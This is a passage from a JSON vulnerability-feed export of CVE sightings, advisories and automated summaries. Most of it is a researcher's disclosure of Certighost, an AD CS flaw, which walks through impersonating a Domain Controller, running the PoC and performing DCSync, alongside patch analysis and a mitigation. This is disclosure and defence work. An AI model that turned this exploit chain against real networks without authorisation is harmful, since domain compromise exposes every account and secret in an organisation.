\u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438\n\nBDU:2026-10699\nCVE-2026-54107\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107", "creation_timestamp": "2026-07-31T14:00:04.497621Z"}, {"uuid": "60c76eaf-d2ad-47cd-9234-8b3349ed7a44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54316", "type": "seen", "source": "https://bsky.app/profile/startuphub.bsky.social/post/3muatr2ibc423", "content": "8/11 executed them with higher privilege \u2192 CVE-2026-12537 and CVE-2026-54316. Palo Alto filed 26 reports on command injection (7 CVEs), 43 on file system (9 CVEs), and 13 on sandbox escapes \u2014 ~81 reports, ~18 CVEs total", "creation_timestamp": "2026-08-29T21:41:21.864694Z"}, {"uuid": "9d42f884-1c29-421e-9fca-8e77240f8278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/tugate.ch/post/3ms6wfiaylk2n", "content": "Microsoft trava falha Certighost que entregava controlo total de redes corporativas. A Microsoft disponibilizou atualiza\u00e7\u00f5es de seguran\u00e7a para corrigir a CVE-2026-54121, uma falha de gravidade alta no Active Directory Certificate Services (ADCS) que permitia a um utilizador com acessos b\u00e1sicos manip", "creation_timestamp": "2026-08-03T16:32:52.742408Z"}, {"uuid": "2f99078b-8992-4dce-b34f-a6522d1bf853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96459", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-54121-Certighost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sam00\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 15:55:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T17:00:05.688346Z"}, {"uuid": "e077fd35-507d-49dd-abe3-0f0a8d0a51de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54729", "type": "seen", "source": "https://gist.github.com/alon710/3725c6658b9e4e7f9bed06e9ce214b76", "content": "# CVE-2026-54729: CVE-2026-54729: SSRF Protection Bypass in dssrf-js via NXDOMAIN Resolution Discrepancy\n\n> **CVSS Score:** 8.7\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54729\n\n## Summary\nCVE-2026-54729 is a critical Server-Side Request Forgery (SSRF) bypass vulnerability in the dssrf-js Node.js library prior to version 1.0.5. The flaw occurs because the library's DNS validation mechanism incorrectly treats domains like 'localhost' as safe when the configured upstream DNS resolver returns NXDOMAIN. Since the system's HTTP client later falls back to OS-level resolution (resolving 'localhost' to '127.0.0.1'), attackers can bypass validation and access internal loopback addresses.\n\n## TL;DR\nThe dssrf-js library fails to detect local/internal domains if upstream DNS servers return NXDOMAIN, allowing attackers to perform unauthenticated Server-Side Request Forgery (SSRF) to loopback endpoints.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-918\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 8.7 (High)\n- **Exploit Status**: PoC\n- **Impact**: Integrity (High)\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- dssrf-js (Node.js library)\n- **dssrf-js**: < 1.0.5 (Fixed in: `1.0.5`)\n\n## Mitigation\n\n- Upgrade to dssrf-js version 1.0.5 or higher.\n- Implement network egress filtering to block connections to local and RFC 1918 addresses.\n- Deploy dedicated outbound HTTP forward proxies to intercept and validate outbound traffic.\n\n**Remediation Steps:**\n1. Audit the dependency graph for vulnerable versions of 'dssrf-js'.\n2. Update package.json to require version '^1.0.5' and run 'npm install'.\n3. Configure application servers with firewall rules blocking outbound TCP to 127.0.0.0/8 and 169.254.169.254.\n\n## References\n\n- [GitHub Security Advisory GHSA-5846-7qm3-r52j](https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-5846-7qm3-r52j)\n- [Fix Commit 668c21792cd1252baf779a176aa652e2b4c0067d](https://github.com/HackingRepo/dssrf-js/commit/668c21792cd1252baf779a176aa652e2b4c0067d)\n- [CVE-2026-54729 Record](https://www.cve.org/CVERecord?id=CVE-2026-54729)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54729) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-31T17:31:37.590423Z"}, {"uuid": "dff6ca37-90bf-4e55-be54-99db7aab4576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54725", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrxjr42xr42o", "content": "CVE-2026-54725 - bank-vaults\nAn attacker can create ConfigMaps or Secrets that cause the Vault webhook to make arbitrary outbound HTTP connections, potentially exfiltrating ServiceAccount JWTs. This can\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#bankvaults #Golang #CVE #infosec", "creation_timestamp": "2026-07-31T17:58:05.079072Z"}, {"uuid": "d5181871-9113-415d-88a6-924d0bbff32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/msittechnews.bsky.social/post/3mrxkdvoeol2e", "content": "\"Detecting CVE-2026-54121 (Certighost) with Microsoft Defender\" buff.ly/5ljKdWg #Microsoft #techcommunity", "creation_timestamp": "2026-07-31T18:08:36.532258Z"}, {"uuid": "aa3ca4e2-a417-421d-85fa-42fb98686a37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/Cyb3rWitch3r/f817031af7a0d6fff41ef44cf69ab5f0", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-31T18:16:09.661771Z"}, {"uuid": "6cc97774-ca7f-44ff-a852-e32f64ef3985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/rodtrent.com/post/3mrxlb23jrj2m", "content": "Detecting CVE-2026-54121 (Certighost) with Microsoft Defender", "creation_timestamp": "2026-07-31T18:24:53.812844Z"}, {"uuid": "ec207915-c7d6-42ef-b933-3d885a95051c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54725", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrxlgcrm3u2i", "content": "A critical flaw in bank-vaults' Kubernetes secret injector, vault-secrets-webhook (CVSS 9.6), lets anyone who can create a ConfigMap steal ServiceAccount tokens and read HashiCorp Vault secrets.\n\nAffects versions up to 1.22.2.\n\nFix: upgrade to 1.23.1. (CVE-2026-54725)", "creation_timestamp": "2026-07-31T18:27:51.544574Z"}, {"uuid": "a64e1f62-1130-4412-a46c-1085be73fe60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54737", "type": "seen", "source": "https://gist.github.com/alon710/3afa9bbe175e1dfd1649cd2081ad6eb5", "content": "# CVE-2026-54737: CVE-2026-54737: Prototype Pollution in @phun-ky/defaults-deep\n\n> **CVSS Score:** 7.3\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54737\n\n## Summary\nCVE-2026-54737 is a high-severity Prototype Pollution vulnerability in the @phun-ky/defaults-deep npm library prior to version 2.0.5. Due to unsafe recursive object merging, unauthenticated attackers can supply structured payloads that modify the properties of Object.prototype, compromising the runtime process state.\n\n## TL;DR\nA prototype pollution vulnerability in the recursive merging function of @phun-ky/defaults-deep versions prior to 2.0.5 allows remote attackers to execute arbitrary modification of Object.prototype attributes via crafted inputs.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1321\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 7.3 (High)\n- **EPSS Status**: Not Registered\n- **Impact**: Prototype Pollution (Privilege Escalation, DoS, RCE)\n- **Exploit Status**: PoC Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Node.js runtime environments using @phun-ky/defaults-deep dependency\n- **@phun-ky/defaults-deep**: < 2.0.5 (Fixed in: `2.0.5`)\n\n## Mitigation\n\n- Upgrade @phun-ky/defaults-deep to version 2.0.5 or above\n- Implement structural deep-sanitization recursive functions on all input middleware\n- Enforce strict prototype freezing at the initialization stage of Node.js services\n\n**Remediation Steps:**\n1. Run npm install @phun-ky/defaults-deep@2.0.5 inside project workspaces\n2. Incorporate input validation schemas such as AJV or Joi to reject properties named __proto__, constructor, and prototype\n3. Deploy custom Express body-parser middleware to strip dangerous keys before merging operations\n\n## References\n\n- [GitHub Security Advisory GHSA-mj3g-7xcc-x4vh](https://github.com/phun-ky/defaults-deep/security/advisories/GHSA-mj3g-7xcc-x4vh)\n- [GitHub Pull Request #49](https://github.com/phun-ky/defaults-deep/pull/49)\n- [Fix Commit 807dba9](https://github.com/phun-ky/defaults-deep/commit/807dba930f8718f9126cad59d949b8fd3539b059)\n- [Release Tag v2.0.5](https://github.com/phun-ky/defaults-deep/releases/tag/2.0.5)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54737) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-31T18:32:14.083108Z"}, {"uuid": "fc424d8a-8653-4530-8d62-285ae473bfc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54725", "type": "published-proof-of-concept", "source": "https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm", "content": "", "creation_timestamp": "2026-07-31T18:35:03.821931Z"}, {"uuid": "bdf0690d-3c10-40a5-84da-453c155da21f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54296", "type": "published-proof-of-concept", "source": "https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3", "content": "", "creation_timestamp": "2026-07-31T18:35:20.446041Z"}, {"uuid": "dc33a1e6-73a6-4c5f-87ba-817da12efc4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54729", "type": "published-proof-of-concept", "source": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-5846-7qm3-r52j", "content": "", "creation_timestamp": "2026-07-31T18:35:06.401884Z"}, {"uuid": "38ce871f-f683-4c5c-804b-7b6eedd6e444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 